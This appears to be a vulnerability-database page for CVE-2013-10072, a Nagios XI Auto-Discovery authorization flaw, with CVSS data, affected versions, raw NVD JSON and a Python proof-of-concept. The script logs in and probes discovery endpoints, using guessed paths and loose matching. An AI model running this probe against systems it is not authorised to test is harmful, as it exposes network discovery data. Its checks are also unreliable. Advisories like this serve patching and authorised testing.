Security Vulnerability Report
中文
CVE-2013-10072 CVSS 6.5 MEDIUM

CVE-2013-10072

Published: 2025-10-30 22:15:36
Last Modified: 2025-11-06 15:17:14

Description

Nagios XI versions prior to 2012R1.6 contain an authorization flaw in the Auto-Discovery functionality. Users with read-only roles could directly reach Auto-Discovery endpoints and pages that should require elevated permissions, exposing discovery results and allowing unintended access to discovery operations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2012:r1.0:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2012:r1.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2012:r1.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2012:r1.3:*:*:*:*:*:* - VULNERABLE
Nagios XI < 2012R1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2013-10072 PoC - Nagios XI Auto-Discovery Authorization Bypass This PoC demonstrates how a read-only user can access auto-discovery endpoints. Note: For authorized security testing only. """ import requests import sys def check_vulnerability(target_url, username, password): """ Check if Nagios XI is vulnerable to CVE-2013-10072 """ login_url = f"{target_url}/nagiosxi/login.php" auto_discovery_url = f"{target_url}/nagiosxi/includes/components/autodiscovery/" session = requests.Session() # Step 1: Login as read-only user login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } try: response = session.post(login_url, data=login_data, timeout=10) if 'login' not in response.url.lower(): print("[+] Login successful as read-only user") else: print("[-] Login failed") return False # Step 2: Try to access auto-discovery endpoints (should require admin privileges) endpoints = [ 'autodiscovery.php', 'autodiscovery/?mode=view', 'includes/components/autodiscovery/search.php', 'includes/components/autodiscovery/api.php' ] vulnerable = False for endpoint in endpoints: url = f"{target_url}/nagiosxi/{endpoint}" response = session.get(url, timeout=10) # Check if we can access discovery results without proper authorization if response.status_code == 200 and ('autodiscovery' in response.text.lower() or 'discovery' in response.text.lower()): print(f"[!] Vulnerable: Read-only user can access {endpoint}") print(f" Response length: {len(response.text)} bytes") vulnerable = True if vulnerable: print("[+] Target is VULNERABLE to CVE-2013-10072") return True else: print("[-] Target appears to be patched or not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://192.168.1.100/nagiosxi admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2013-10072", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:36.203", "lastModified": "2025-11-06T15:17:13.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2012R1.6 contain an authorization flaw in the Auto-Discovery functionality. Users with read-only roles could directly reach Auto-Discovery endpoints and pages that should require elevated permissions, exposing discovery results and allowing unintended access to discovery operations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndIncluding": "2011", "matchCriteriaId": "80293C30-1993-40B8-9495-6D0D9AA3E921"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.0:*:*:*:*:*:*", "matchCriteriaId": "63DC3A03-8CB1-489F-86D2-13F271C2C48D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.1:*:*:*:*:*:*", "matchCriteriaId": "653ED130-C4EC-4EC1-AE81-99BA7F888B33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.2:*:*:*:*:*:*", "matchCriteriaId": "B28B0CDB-0E18-4702-B498-C89431095C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.3:*:*:*:*:*:*", "matchCriteriaId": "14CF14F0-7115-4AB6-B35F-BDBE298420CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.4:*:*:*:*:*:*", "matchCriteriaId": "5B3E6044-06C2-46B2-92AD-C79C287A0018"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2012:r1.5:*:*:*:*:*:*", "matchCriteriaId": "DAED5B87-54DB-4AB2-AB0E-1D75EF1F8C7F"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-auto-discovery-missing-authorization", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}